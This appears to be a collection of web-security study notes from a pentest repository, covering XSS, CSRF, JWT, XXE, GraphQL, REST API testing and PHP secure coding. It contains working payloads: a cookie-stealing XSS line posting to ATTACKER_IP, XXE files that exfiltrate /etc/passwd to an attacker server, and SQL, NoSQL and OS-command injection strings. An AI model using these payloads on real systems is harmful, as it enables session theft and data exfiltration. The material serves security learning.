46 | 5. Blog comments
47 | 6. User logs
48 | 
49 | IMPORTANT: All data must be tested by inserting in user areas and viewing in admin areas -> for IMPACT.
50 | 
51 | IMPORTANT TIP:
52 | - This is only for reflected or stored XSS. 
53 | - Send a unique identifiable string within < and > such as `<nybble>`.
54 | - Now search the page source for `nybble`.
55 | - Check if the < and > symbols are encoded as `&lt` and `&gt`. If not, XSS is possible
56 | 
57 | ## Testing for DOM XSS
58 | 
59 | This vulnerability is hard to detect. Hence, it is quite common in production environments.
60 | - The view-src technique will not work
61 | - To view DOM we must use the developer console
62 |   
63 | > XSS Rat tip: use `<img src=x onerror=alert('xss')>`
64 | 
65 | > Stealing cookie: `<img src=x onerror=this.src='http://ATTACKER_IP:ATTACKER_PORT/?'+document.cookie;>`
66 | 
67 | **Methodology**:
68 | 
69 | - Look for JS in the source that can be controlled, i.e. not imported scripts.
70 | - Now look in the developer console how changes to the inputs (sources) affect elements in the DOM (sinks).
71 | - Look for specific sources and sinks from the [DOM XSS Wiki](https://github.com/wisec/domxsswiki).
72 | - Craft the payload accordingly
73 | 
74 | ### Sink is document.write
75 | - `document.write` writes to the DOM
76 | -Try closing the element that is being written and create a new element with the payload.
77 | 
78 | ### Sink is innerHTML
79 | - `innerHTML` writes HTML to a div or class element
80 | - Try the img src onerror payload.
81 | 
82 | ### Sink is JQuery href attribute
83 | - If href attribute is a sink try `javascript:alert('xss')`
84 | 
85 | ### Sink is JQuery selector
86 |   - In old version of jQuery, if a HTML element is passed to the jQuery selector `$(<h1>createme</h1>)`, and if that element doesn't exsits, JQuery will create that element.
87 | - Try the img src onerror payload.
88 | - Try the img src onerror payload within an iframe with onload event.
89 |   
90 | **Resources**
91 | 1. [Code Vera Portswigger XSS Walkthroughs](https://www.youtube.com/playlist?list=PLmtowW4zdQsIk8d4tAemj-0n0LmBeX6TF)
92 | 2. [Intigrity How to look for DOM XSS](https://www.youtube.com/watch?v=ojiOCfg-FXU)
93 | 3. [DOM XSS Wiki](https://github.com/wisec/domxsswiki)
94 | 4. [XSS Rat](https://www.youtube.com/@TheXSSrat)
95 | 


--------------------------------------------------------------------------------
/web/03.csrf.md:
--------------------------------------------------------------------------------
 1 | # Cross Site Request Forgery (CSRF)
 2 | 
 3 | CSRF makes an authenticated victim carry out an action unintentionally. A CSRF attack works because browser requests automatically include all cookies including session cookies. Therefore, if the user is authenticated to the site, the site cannot distinguish between legitimate authorized requests and forged authenticated requests. 
 4 | 
 5 | **Example:**
 6 | 
 7 | Consider you a website for a bank (B.com). It allows users to initatie a HTTP request to transfer money from their account. If this request is vulnerable to CSRF, an attacker can initiate the same request from his own website (A.com) instead of the bank's website.
 8 | 
 9 | **Conditions to work?**
10 | 
11 | 1. Actionable and important request (not login/logout/change language/change theme).
12 | 2. Request uses a cookie based session handling.
13 | 3. The request does not have an unpredictcable parameter.
14 | 
15 | **Why does this work?**
16 | 
17 | 1. User authenticates to B.com.
18 | 2. B.com stores its cookies in user's browser.
19 | 3. When user visits A.com, it initiates a request to B.com/transfer in the background.
20 | 4. When the browser receives this request, it will check if it has cookies for B.com (which it will since the user is authenticated).
21 | 5. The browser makes the request to B.com/transfer along with its cookies.
22 | 6. B.com on receiving the request with its cookies, executes the action.
23 | 
24 | **How to prevent?**
25 | 
26 | 1. PRIMARY: **CSRF tokens** - An unpredictable parameter that is tied to a user session is validated before the action is performed.
27 | 2. ADDITIONAL: **SameSite cookies** - Strict (cookies will be sent to B.com only if the request comes from B.com), Lax (cookies will be sent to B.com from A.com if the request is GET and action is initiated by top-level nagivation like clicking a link.
28 | 3. INADEQUATE: **Referrer header** - Contains the absolute or partial address of the page making the request. Can be easily spoofed. Developers implement incorrect checks like `if domain in referrer` which can be bypassed if the attacker domain is `A.com/B`
29 | 
30 | **CSRF Token implementation**
31 | 1. **Synchronised:** Session cookie and csrf token mapping is stored on server side. Server sends the sessionid as cookie and csrf token as JSON/HTML resposonse. This csrf token is sent by the client in every request along wit the session cookie. The server checks if the received csrf token is the same as the stored csrf token for a given session cookie.
32 | 2. **Double Submit:** Session cookie is not stored by the server. Only the csrf token is stored on the server side. The csrf token is encrypted using a key that is known only to the server. Session cookie is part of the plaintext. That is, `csrf_token = K(session_cookie + salt)`. Along with the session cookie, the server sends the client the csrf token as a cookie (should not be HttpOnly). The client sends the csrf cookie and the session cookie along with every request. The server decrypts the received csrf token to see if the received session cookie is in the plain text.
33 | 
34 | **How to test?**
35 | 1. Remove the token from the request 
36 | 2. Replace with random value - same length, same constraints (alph only, numeric only)
37 | 3. Reuse old CSRF token / reuse another user's CSRF token
38 | 4. Double submit: Try header injection. Replace both the header and the hidden value with a random but same value. 
39 | 
40 | 
41 | **Resources:**
42 | 1. [Rana Khalil](https://www.youtube.com/watch?v=7bTNMSqCMI0&list=PLuyTk2_mYISKn1UzXAFl_DA3MaEJ9J-yq&index=1)
43 | 2. [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
44 | 3. [CSRF Tokens explained](https://www.youtube.com/watch?v=lYra5vK6qvc)
45 | 4. [Double submit cookie pattern](https://medium.com/@kaviru.mihisara/double-submit-cookie-pattern-820fc97e51f2)
46 | 


--------------------------------------------------------------------------------
/web/12.jwt.md:
--------------------------------------------------------------------------------
 1 | # JSON Web Token (JWT) Attacks
 2 | 
 3 | > JWT performs AUTHORIZATION not AUTHENTICATION.
 4 | 
 5 | > JWT tokens are issued _after_ authentication.
 6 | 
 7 | **Why JWT? JWT vs Session Tokens**
 8 | 
 9 | Session tokens act as a reference id for client/user information. The use of session tokens is not scalable in large scale systems like microservices or load balanced systems because every server cannot store duplicate information.
10 | 
11 | JWT is not a reference id, rather a tokenized representation of the information (non sensitive). This token is given to the client by the server. The server signs this information to prevent tampering by the client or any ther malicious actor. JWT is scalabale because the server does not store the information, the client sends everything to it. The server only has to verify the integrity of the information using the signature.
12 | 
13 | * Server sends JWT in the HTTP Authorization header.
14 | * The client stores the JWT in local storage or cookie storage.
15 | 
16 | **Parts of JWT**
17 | 
18 | Base64 encoded parts separated by dot (.)
19 | 
20 | 1. **Header:** Type of the token, algorthim used for signature.
21 | 2. **Payload:** The information to be sent to the server.
22 | 3. **Signature:** The signature calculated using the algorithm specified in the header. `ALG(base64(header) + '.' + base64(payload) + '.' + secret)`
23 | 
24 | ## Testing JWT Security
25 | 
26 | ### 1. Imporper signature validation
27 | 1. Accepting empty signature
28 |     - Send JWT token **without a signature** after making modifications to the header/payload
29 | 2. Not verifying the signature
30 |     - Send a JWT token **with invalid signature** after making modifications to the header/payload  
31 | 
32 | ### 2. Weak secret key for signatures
33 | Bruteforce the weak secrets (key) - [hashcat](https://github.com/hashcat) , [jwtbrute](https://github.com/jmaxxz/jwtbrute), [jwtcracker](https://github.com/lmammino/jwt-cracker)
34 | ```
35 | hashcat -m 16500 <jwt_token> jwt.secrets.list
36 | ```
37 | 
38 | ### 3. Inject parameters in the header
39 | > NOTE: According to the JWS specification, only the alg header parameter is mandatory.
40 | - JWK
41 |   - If a server does not use a whitelist of public keys to verify the JWT signature, an **attacker can specify their public key** through the `jwk` parameter
42 |   - The attacker will modify the contents of the header/payload and sign it with their private key. This will make the signature valid.
43 |   - This attack requires modifying the `kid` parameter as well. To do this easily use BurpSuite's JWT editor extension.
44 | - JKU
45 |   - If a server does not use a whitelist of domain from which public keys should be fetched from, an **attacker can specify a URL to the public key** through the `jku` parameter
46 | - KID
47 |   - The JWS specification doesn't define a structure for KID. It is just an arbitrary string.
48 |   - If the JWT is signed using a symmetric algorithm, the attacker can inject a `kid` parameter to a predicatble static value such as `/dev/null` in Linux. This will sign/verify the token with an empty string.
49 | 
50 | ### 4. Algorithm Confusion
51 | - Change RS256 to HS256
52 |   - Obtain the server's public key
53 |   - Change it to a suitable format
54 |   - Modify the JWT payload and set `"alg": "HS256"` (symmetric encryption)
55 |   - Sign the token with server's public key and send it
56 | - Change algorith to None
57 |   - Remove the signature
58 |   - Set the algorithm to these (use Burp Intruder)
59 |   ```
60 |   none
61 |   None
62 |   nOne
63 |   NoNe
64 |   noNe
65 |   NONE
66 |   ```
67 | 
68 | ### 5. Sensitive information exposure
69 | 1. Sensitive information leakage in the payload.
70 | 2. The `kid` is used to specify the key in the payload. Sometimes the path to the key is leaked in this field.
71 | 3. Look for leaked pem keys. Bruteforce of Path traversal for `jwks.json`.
72 | 4. JWT does not expire with session on logout - can be resued if leaked.
73 | 
74 | **Resources**
75 | 1. [Vicki Lee Attacks](https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a)
76 | 2. [Farah Hawa](https://www.youtube.com/watch?v=4V3GXPViXxQ)
77 | 3. [JWT dep dive - what, why, how?(HINDI)](https://www.youtube.com/watch?v=5mUDRQfwXuE)
78 | 4. [Generate your jwt signature using a leaked pem key](https://github.com/farah-hawa/Jwt-code/blob/master/jwt.py)
79 | 5. [Portswigger JWT](https://portswigger.net/web-security/jwt)
80 | 


--------------------------------------------------------------------------------
/code-review/php_review.md:
--------------------------------------------------------------------------------
  1 | # Secure Coding in PHP
  2 | 
  3 | ## 1. Properly name files that you want to include
  4 | - Do not name included files (like database connection files ) with the `.inc` extension.
  5 | - Instead, name it with a `.php` extension.
  6 | - If it is named with `.inc` then its contents can be viewed from the browser if directory traversal is allowed.
  7 | - This can reveal sensitive information like source code or credentials.
  8 | 
  9 | ## 2. XSS Protection
 10 | - Escape (neutralize) the output using the `htmlspecialchars` [function](https://www.php.net/manual/en/function.htmlspecialchars.php)
 11 | ```
 12 |  htmlspecialchars(
 13 |     string $string,
 14 |     int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401,
 15 |     ?string $encoding = null,
 16 |     bool $double_encode = true
 17 | ): string
 18 | ```
 19 | - Characters like `<` will be replaced with `&lt` and so on.
 20 | 
 21 | ## 3. Password Hashing
 22 | - MD5 is weak.
 23 | - To hash: use ` password_hash(string $password, string|int|null $algo, array $options = []): string` 
 24 | [function](https://www.php.net/manual/en/function.password-hash.php).
 25 | - To verify: use ` password_verify(string $password, string $hash): bool` 
 26 | [function](https://www.php.net/manual/en/function.password-verify.php).
 27 | 
 28 | ## 4. Directory Listing
 29 | For apache
 30 | - Create a `.htaccess` files, and add the directive `Options -Indexes` in it.
 31 | - We get a Forbidden 403 error.
 32 | 
 33 | For nginx
 34 | - Disabled by default in `nginx.conf`.
 35 | - To explicitly enable for a particular path: Within the `server{}` block, under the appropriate `location` directive add `autoindex on`.
 36 | 
 37 | For Tomcat (not PHP, but still worth knowing)
 38 | - Disabled by default in `<CATALINA_HOME>\conf\web.xml`.
 39 | - Check the default servlet's `listings` parameter.
 40 | ```
 41 | <!-- The default servlet for all web applications, that serves static     -->
 42 | <!-- resources.  It processes all requests that are not mapped to other   -->
 43 | <!-- servlets with servlet mappings.                                      -->
 44 | <servlet>
 45 |   <servlet-name>default</servlet-name>
 46 |   <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
 47 |   <init-param>
 48 |     <param-name>debug</param-name>
 49 |     <param-value>0</param-value>
 50 |   </init-param>
 51 |   <init-param>
 52 |     <param-name>listings</param-name>
 53 |     <param-value>false</param-value>
 54 |   </init-param>
 55 |   <load-on-startup>1</load-on-startup>
 56 | </servlet>
 57 |      
 58 | <!-- The mapping for the default servlet -->
 59 | <servlet-mapping>
 60 |   <servlet-name>default</servlet-name>
 61 |   <url-pattern>/</url-pattern>
 62 | </servlet-mapping>
 63 | ```
 64 | ## 5. HttpOnly and Secure Cookies
 65 | - These cookies cannot be access by the client using JS.
 66 | - In the [function](https://www.php.net/manual/en/function.setcookie.php) 
 67 | ```
 68 |  setcookie(
 69 |     string $name,
 70 |     string $value = "",
 71 |     int $expires_or_options = 0,
 72 |     string $path = "",
 73 |     string $domain = "",
 74 |     bool $secure = false,
 75 |     bool $httponly = false
 76 | ): bool
 77 | ```
 78 | set the `$httponly` and `$secure` parameters to `true`.
 79 | 
 80 | ## 6. What not to store in cookies
 81 | - A guessable and modifieable identifier like username, or access control information like isadmin=true.
 82 | 
 83 | ## 7. CSRF Protection
 84 | - Use a framework or a library that has CSRF protection (CSRF tokens).
 85 | - Do NOT implement your own mechanism.
 86 | 
 87 | ## 8. SQL Injection
 88 | - What is the problem? An SQL query has two parts - the query language statements and the data. When the s**upplied data is being considered as query language**, then SQL injection occurs. 
 89 | - Use prepared statetements
 90 | ```
 91 | $query = $db->prepare("SELECT * FROM users WHERE email = :email");          #Can use a placeholder ':email' or a '?'
 92 | $query->execute(['email' => $email]);
 93 | ```
 94 | 
 95 | ## 9. Error Reporting
 96 | - Do not display detailed errors on the webpage.
 97 | - Use logs for detailed errors.
 98 | - For webpage, use a generic error page that is usable for the average user.
 99 | - Disable globally in `php.ini`. Set the directive - `display_error = Off`
100 | - If this can't be configured globally in `php.ini`, then add `ini_set('display_errors', 'Off')` OR `error_reporting(0)` in the .php files with sensitive info.
101 | 
102 | **Resources**
103 | 1. [PHP Security Playlist](https://www.youtube.com/playlist?list=PLfdtiltiRHWFsPxAGO-SVPGhCbCwKWF_N)
104 | 


--------------------------------------------------------------------------------
/web/09.xxe.md:
--------------------------------------------------------------------------------
  1 | # XML External Entity (XXE) Injection
  2 | Misconfiguration in the application's XML parser.
  3 | 
  4 | **What to look for?**
  5 | - An application sends XML in its body.
  6 | - An application accepts XML based images like SVG.
  7 | - An application sends JSON data, but accepts (no error shown) XML data also.
  8 | 
  9 | **What is an XML entity**
 10 | - Declaring references to other points in the xml document. Like variables.
 11 | - External resources can be references using SYSTEM.
 12 | 
 13 | ## Payloads
 14 | 
 15 | ## Basic Exfiltration
 16 | ```xml
 17 | <?xml version="1.0" encoding="UTF-8"?>
 18 | <!DOCTYPE test [ <!ENTITY vbl SYSTEM "file:///etc/passwd"> ]>
 19 | <stockCheck>
 20 | <productId> &vbl; </productId>
 21 | </stockCheck>
 22 | ```
 23 | 
 24 | ## XXE to SSRF
 25 | - We can make it request an internal resource.
 26 | ```xml
 27 | <?xml version="1.0" encoding="UTF-8"?>
 28 | <!DOCTYPE test [ <!ENTITY vbl SYSTEM "http://internalresource.com/"> ]>
 29 | <stockCheck>
 30 | <productId> &vbl; </productId>
 31 | </stockCheck>
 32 | ```
 33 | 
 34 | ## Simple Blind XXE - Out-of-Band Interaction
 35 | - The external resource fetched is not reflected in the application's response.
 36 | - First we send a normal declaration and see if there are any errors.
 37 | - If no errors, then we make it request a resource hosted on a server taht we control, and see if it receives the callback from the target.
 38 | ```xml
 39 | <?xml version="1.0" encoding="UTF-8"?>
 40 | <!DOCTYPE test [ <!ENTITY vbl SYSTEM "http://attackerserver.com/"> ]>
 41 | <stockCheck>
 42 | <productId> &vbl; </productId>
 43 | </stockCheck>
 44 | ```
 45 | 
 46 | ## Blind XXE - Parameter Entities
 47 | - Parameter entities are like `% vbl`.
 48 | - Used when we cannot reference our entity (&vbl;) within the XML content.
 49 | - Same asn simple blind xxe, check for callback form the target.
 50 | ```xml
 51 | <?xml version="1.0" encoding="UTF-8"?>
 52 | <!DOCTYPE test [ <!ENTITY % vbl SYSTEM "http://attackerserver.com/"> %vbl; ]>
 53 | <stockCheck>
 54 | <productId> 201 </productId>
 55 | </stockCheck>
 56 | ```
 57 | 
 58 | ## Blind XXE - Exfiltration using Parameter Entities and DTD
 59 | 
 60 | Step 1: Create a `loadDtd` parameter
 61 | ```xml
 62 | <?xml version="1.0" encoding="UTF-8"?>
 63 | <!DOCTYPE test [ <!ENTITY % loadDtd SYSTEM "http://attackerserver.com/dtd"> %loadDtd; ]>
 64 | <stockCheck>
 65 | <productId> 201 </productId>
 66 | </stockCheck>
 67 | ```
 68 | 
 69 | Step 2: Create the malicious DTD file with 3 parameters - file, stack, exfil
 70 | - To exfiltrate files with multiple lines (/etc/passwd), make the target callback to an FTP server
 71 | - To exfiltrate files with one line (/etc/hostname), make the target callback to a HTTP server
 72 | - The parameter `%file;` is called in DTD
 73 | - Since we are referencing the character `%` within an entity, we need to use it as `&#x25;`
 74 | ```
 75 | <!ENTITY % file SYSTEM "file:///etc/hostname">
 76 | <!ENTITY % stack "<!ENTITY &#x25; exfil SYSTEM 'https://attackserver.com/%file;'>" >
 77 | ```
 78 | 
 79 | Step 3: Call the parameters `%stack` and `%exfil` in the XML
 80 | ```xml
 81 | <?xml version="1.0" encoding="UTF-8"?>
 82 | <!DOCTYPE test [ <!ENTITY % loadDtd SYSTEM "http://attackerserver.com/dtd"> %loadDtd; %stack; %exfil ]>
 83 | <stockCheck>
 84 | <productId> 201 </productId>
 85 | </stockCheck>
 86 | ```
 87 | 
 88 | ## Blind XXE - Exfiltrating files in error messages (using Parameters and DTD)
 89 | - Useful for exfiltrating files with multiple lines (/etc/passwd)
 90 | 
 91 | Step 1: Create a `loadDtd` parameter
 92 | ```xml
 93 | <?xml version="1.0" encoding="UTF-8"?>
 94 | <!DOCTYPE test [ <!ENTITY % loadDtd SYSTEM "http://attackerserver.com/dtd"> %loadDtd; ]>
 95 | <stockCheck>
 96 | <productId> 201 </productId>
 97 | </stockCheck>
 98 | ```
 99 | 
100 | Step 2: Create the malicious DTD file with 3 parameters - file, stack, exfil
101 | - Reference a non-existent filepath to trigger an error
102 | - Reference the `%file;` parameter to this non-existent filepath. 
103 | - This will trigger an error saying the path doesn't exists where the path will contain the contents of the file.
104 | ```
105 | <!ENTITY % file SYSTEM "file:///etc/hostname">
106 | <!ENTITY % stack "<!ENTITY &#x25; exfil SYSTEM 'https://idontexsist/%file;'>" >
107 | ```
108 | 
109 | Step 3: Call the parameters `%stack` and `%exfil` in the XML
110 | ```xml
111 | <?xml version="1.0" encoding="UTF-8"?>
112 | <!DOCTYPE test [ <!ENTITY % loadDtd SYSTEM "http://attackerserver.com/dtd"> %loadDtd; %stack; %exfil ]>
113 | <stockCheck>
114 | <productId> 201 </productId>
115 | </stockCheck>
116 | ```
117 | ## XInclude to exfiltrate files
118 | - When the application does not send XML data --> `productId=1&storeId=1`
119 | - Try sending URL encoded XML data (`%vbl;`) with it --> `productId=%26vbl;&storeId=1` 
120 | - If it shows any XML-related error, you know it parses XML in the background
121 | - Replace the XML data with XInclude payload
122 | ```
123 | productId=<hack xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></hack>&storeId=1
124 | ```
125 | 
126 | 
127 | **Resources**
128 | 1. [Seven Seas Security XXE](https://www.youtube.com/playlist?list=PL1GDzLoRwyVC_ZvAIbyUD2tv3OqCh8XZB)
129 | 2. [PwnFunction XXE](https://www.youtube.com/watch?v=gjm6VHZa_8s)
130 | 


--------------------------------------------------------------------------------
/api/graphql.md:
--------------------------------------------------------------------------------
  1 | # GraphQL API Testing
  2 | 
  3 | **What is GraphQL? Why is it used?**
  4 | - Just one endpoint - easier for developers
  5 | - Instead of making requests to different URIs for an operation, queries are send to the single endpoint for operations
  6 | 
  7 | **Common Terms**
  8 | - Queries: Fetch data
  9 | - Mutations: Edit data
 10 | - Fragments: Easily save lists of fields
 11 | - Metafields: Inspect query or mutation information
 12 | 
 13 | **Why should it be tested?**
 14 | - Relatively new tech
 15 | - Developer might adopt it without being fully aware of security concerns
 16 | 
 17 | ## Enumerating GraphQL endpoints
 18 | - Common endpoint names
 19 |   ```  
 20 |     /graphql
 21 |     /qql
 22 |     /graphiql
 23 |     /api
 24 |     /api/graphql
 25 |     /graphql/api
 26 |     /graphql/graphql
 27 |     /graphql/console
 28 |   ```
 29 |   
 30 | - Confirm if an endpoint is GraphQL using Universal queries - Every GraphQL endpoint has a reserved field called `__typename` that returns the queried object's type as a string
 31 |   ```
 32 |   # Send the query
 33 |   query{__typename}
 34 |   
 35 |   # You should receive a response containing this string if it is a GraphQL endpoint
 36 |   {"data": {"__typename": "query"}}  
 37 |   ```
 38 |   
 39 | - Abuse the GraphQL Introspection (if not disabled) feature
 40 | 
 41 | ## Introspection
 42 | - Built-in feature that enables you to retrieve information about the GraphQL schema
 43 | - Used by developers to form queries
 44 | - Should be disabled in production - can disclose potentially sensitive data
 45 | 
 46 | Simple Introspection Query - Manual
 47 |   ```
 48 |   {
 49 |         "query": "{__schema{queryType{name}}}"
 50 |   }  
 51 |   ```
 52 | 
 53 | Introspection - Automated tools
 54 |   - InQL: BurpSuite addon
 55 |   - GraphQL Map: CLI tool
 56 | 
 57 | Visualizing introspection results
 58 |   - GraphQL voyager
 59 |   - [GraphQL visualizer](http://nathanrandal.com/graphql-visualizer/)
 60 | 
 61 | If introspection is disabled
 62 |   - Abuse verbose error messages. Use [Clairvoyance (tool)](https://github.com/nikitastupin/clairvoyance)
 63 |   - Send the introspection probe via another HTTP method
 64 |   - If introspection is disabled using regex - try inserting characters like spaces, new lines and commas after `__schema{` since they are ignored by GraphQL but could bypass regex
 65 |  
 66 | ## IDOR
 67 | ```
 68 | # Query a product that we don't have access to, by guessing the id
 69 | 
 70 |     query {
 71 |         product(id: "1337") {
 72 |             id
 73 |             name
 74 |         }
 75 |     }
 76 | ```
 77 | 
 78 | ## Rate Limit bypass using Alias
 79 | A query can't return more than one property with the same name. To bypass this restriction we can use aliases.
 80 | ```
 81 | # Example alias
 82 | 
 83 | query getProductDetails {
 84 |         product1: getProduct(id: "1") {             <------ Property 1
 85 |             id
 86 |             name
 87 |         }
 88 |         product2: getProduct(id: "2") {             <------ Property 2
 89 |             id
 90 |             name
 91 |         }
 92 |     }
 93 | ```
 94 | Such queries with aliases can be used to **perform multiple operations on an endpoint in one request** - bypassing request based rate limiting
 95 | ```
 96 | # Example bruteforce OTP
 97 | 
 98 | query isValidOTP($code: Int) {
 99 |         isValidOTP(code:$code){
100 |             valid
101 |         }
102 |         isValidOTP2:isValidDiscount(code:$code){
103 |             valid
104 |         }
105 |         isValidOTP3:isValidDiscount(code:$code){
106 |             valid
107 |         }
108 |     }
109 | ```
110 | 
111 | ## DOS
112 | Depth DoS
113 | ```
114 | query evil {            # Depth: 0
115 |   album(id: 42) {       # Depth: 1
116 |     songs {             # Depth: 2
117 |       album {           # Depth: 3
118 |         ...             # Depth: ...
119 |         album {id: N}   # Depth: N
120 |       }
121 |     }
122 |   }
123 | }
124 | ```
125 | Amount DoS
126 | ```
127 | query {
128 |   author(id: "abc") {
129 |     posts(first: 99999999) {             <---- Huge amount
130 |       title
131 |     }
132 |   }
133 | }
134 | ```
135 | 
136 | ## SQL/NoSQL Injection
137 | See H1 report - [SQL injection in GraphQL endpoint](https://hackerone.com/reports/435066)
138 | 
139 | ```
140 | curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
141 | ```
142 | 
143 | ## CSRF
144 | See H1 report - [CSRF allows executing mutations through GET requests](https://hackerone.com/reports/1122408)
145 | - Where a GraphQL endpoint does
146 |   - Not Validate the content type of the requests sent to it - `x-www-form-urlencoded` GET requests, instead of `application/json` POST requests
147 |   - Not implement CSRF tokens. 
148 | 
149 | 
150 | **References**
151 | 1. [Katie Paxton Fear Finding Your Next Bug: GraphQL](https://www.youtube.com/watch?v=jyjGneKJynk)
152 | 2. [Katie Paxton Fear Hunting for bugs in GraphQL APIs (Demo)](https://www.youtube.com/watch?v=viWzbPuGqpo)
153 | 3. [Introduction To GraphQL Penetration Test](https://www.youtube.com/watch?v=iSZ0RrCrpf4)
154 | 4. [PortSwigger GraphQL API vulnerabilities ](https://portswigger.net/web-security/graphql)
155 | 5. [OWASP GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html)
156 | 


--------------------------------------------------------------------------------
/api/rest.md:
--------------------------------------------------------------------------------
  1 | # Representational State Transfer (REST) API Testing
  2 | 
  3 | ## Enumerating API endpoints
  4 | The first step for API testing is to find the endpoints and their expected behaviour.
  5 | - See how endpoints are constructed
  6 |   ```
  7 |   # Paths:
  8 |   /api, /api/v1, /v1, /v2, /v3, /rest, /swagger,
  9 |   /swagger.json, /doc, /docs, /graphql, /graphiql, /altair, /playground
 10 | 
 11 |   # Subdomains:
 12 |   api.target-name.com
 13 |   dev.target-name.com/rest
 14 |   developer.target-name.com/rest
 15 |   test.target-name.com/api
 16 |   ```
 17 | - Find more endpoints - Passive
 18 |   ```
 19 |   # Google Dorking
 20 |   intitle:"api" site:"site.com"
 21 |   inurl:"/api/v1" site:"site.com"
 22 |   intitle:"json" site:"site.com"
 23 | 
 24 |   # Git Dorking
 25 |   Search in github for exposed keys, documentation or any other issues 
 26 |   filename:swagger.json
 27 | 
 28 |   # Shodan Dorking
 29 |   site port:443
 30 |   site port:80
 31 |   “content-type: application/json” site
 32 |   “wp-json” site
 33 | 
 34 |   # Wayback machine
 35 |   Find old endpoints that could still be used but are hidden - improper asset management
 36 |   ```
 37 | - Find more endpoints - Active
 38 |   ```
 39 |   # Amass
 40 |   amass enum -active -d site.com | grep api
 41 |   
 42 |   # Kiterunner
 43 |   Find api endpoints - like gobuster but better, especially for API
 44 |   
 45 |   # Browser developer tools
 46 |   Check the network tab for any api endpoints
 47 |   ```
 48 | - Understand API versioning - Check the documentation - sometimes bugs are fixed in newer API and the old vulnerable APIs are still exposed.
 49 | - OWASP ZAP - Use the `Manual Explore` feature. It opens a browser and you can use the site normally with the active scan running in the background. This is better than the Automated Explore feature because it will perform authenticated scans unlike the automated scans.
 50 | 
 51 | ## Making a Postman collection for testing
 52 | - **Method 1:** Use the 'Capture Requests' feature of Postman.
 53 | - **Method 2:** Capture requests using mitmweb and create a swagger file using mitmproxy2swagger
 54 |   ```
 55 |   # MITM web interface is available on port 8081
 56 |   # In the mitm web interface perform → File > Save > flows
 57 |   
 58 |   mitmproxy2swagger -i flows -o spec.yml -p site.com -f flow --examples
 59 |   
 60 |   # Now edit the spec.yml → remove "ignore:" command from API related endpoints
 61 |   # Now view spec.yml using a swagger editor such as editor.swagger.io  to get a better view of what the APIs do
 62 |   # Now import spec.yml to Postman as a collection
 63 |   ```
 64 | 
 65 | ### Testing for BOLA and BFLA
 66 | - BOLA - Accessing resources that do not belong to you - Look for GET requests that use soem type of ID
 67 | - BFLA - Performing unauthorized actions - Look for PUT/POST/DELETE requests that use some type of ID
 68 |   
 69 | > In the scoping call request for 2 accounts of the same privilege, for all available privileges.
 70 | 
 71 | - Find endpoints with IDs in the request Eg: getprofile/1 , getprofile/2.
 72 | - With ID=1, try accessing the URI with ID=2.
 73 | - Find endpoints that require admin privileges, and access them with guest/lower privileges (by replacing cookies or tokens).
 74 | 
 75 | ### Testing for Excessive Data Exposure
 76 | - Call the API
 77 | - Look at the response
 78 | - Check if it is disclosing more info than needed
 79 | - Extra mile - Try to find other endpoints from the API
 80 | - Extra mile - Look for hidden parameters
 81 | 
 82 | ### Testing for Improper Assets Management
 83 | Find Old / Non-production API
 84 | - Is the old version responding with a different response code?
 85 | - Is the old version rate limited? If otp is 4 digits only and the reset password API is not rate limited we can bruteforce the otp.
 86 | - Test the old versions as authorized and unauthorized user
 87 | - Use Postman's "Find and Replace" function to replace all v2 with v1. Alternatively you can set a {{ver}} environment variable.
 88 | 
 89 | ### Testing for Business Logic Errors
 90 | - If you see a number, make it really large
 91 | - If you see a number, make it negative
 92 | - Try to skip some steps (some endpoints being called) in a process flow. Eg: cart -> pay -> complete_orders can be cart -> complete_orders
 93 | 
 94 | ### Testing for SSRF
 95 | Burp Collaborater alternatives for OOB testing
 96 | - https[://]ifconfig[.]pro
 97 | - https[://]webhook[.]site
 98 | 
 99 | ### Testing for Injection Attacks
100 | **SQLi**
101 | ```
102 | '
103 | ''
104 | ;%00
105 | --
106 | -- -
107 | ""
108 | ;
109 | ' OR '1
110 | ' OR 1 -- -
111 | " OR "" = "
112 | " OR 1 = 1 -- -
113 | ' OR '' = '
114 | OR 1=1
115 | ```
116 | **NoSQLi**
117 | ```
118 | $gt 
119 | {"$gt":""}
120 | {"$gt":-1}
121 | $ne
122 | {"$ne":""}
123 | {"$ne":-1}
124 |  $nin
125 | {"$nin":1}
126 | {"$nin":[1]}
127 | {"$where":  "sleep(1000)"}
128 | ```
129 | **OS**
130 | ```
131 | |whoami
132 | ||whoami
133 | & whoami
134 | && whoami
135 | 'whoami
136 | "whoami
137 | ;whoami
138 | '"whoami
139 | ```
140 | 
141 | ### Testing for XSS 
142 | - Find an endpoint which takes an input and also reflects it in the response.
143 | - If response is JSON, see how the frontend uses it - could reflect within the client.
144 | 
145 | ### Testing for CSRF
146 | - Find an endpoint that performs an impactful action without an auth-token. This is essentially CSRF.
147 | 
148 | **Resources**
149 | 1. [APISec University](https://www.apisecuniversity.com/#courses)
150 | 2. [Katie Paxton-Fear API hacking](https://www.youtube.com/watch?v=qqmyAxfGV9c&list=PLbyncTkpno5HqX1h2MnV6Qt4wvTb8Mpol&index=4)
151 | 3. [Katie Paxton-Fear more API hacking](https://www.youtube.com/watch?v=qC8NQFwVOR0)
152 | 


--------------------------------------------------------------------------------
/thick-client/thick_client.md:
--------------------------------------------------------------------------------
  1 | # Thick Client Security
  2 | 
  3 | **Introduction**
  4 | - AKA - Fat clients, rich clients, thick clients
  5 | - Classification based on Tiers
  6 |   - Two tier: (Thick client) <----> (Database)
  7 |   - Three tier: (Thick client) <----> (App server) <----> (Database)
  8 | - Classify based on proxy awareness
  9 |   - Proxy aware - Can configure proxy
 10 |   - Proxy unaware (difficult to test) - Do not support proxying
 11 | - Some applications may implement SSL certificate pinning
 12 | 
 13 | **Methodology**
 14 | 1. Enumeration - Idenitfy language, framework, architecture, intercept traffic, functionality tests
 15 | 2. Client side checks - Memory analysis, binary analysis
 16 | 3. Server side attacks - OWASP top 10 if three-tier with app server **(API and web test cases also apply here)**
 17 | 4. Network attacks - Intercept traffic, examine vulnerabilities, external server interactions
 18 | 
 19 | # Windows Thick Clients
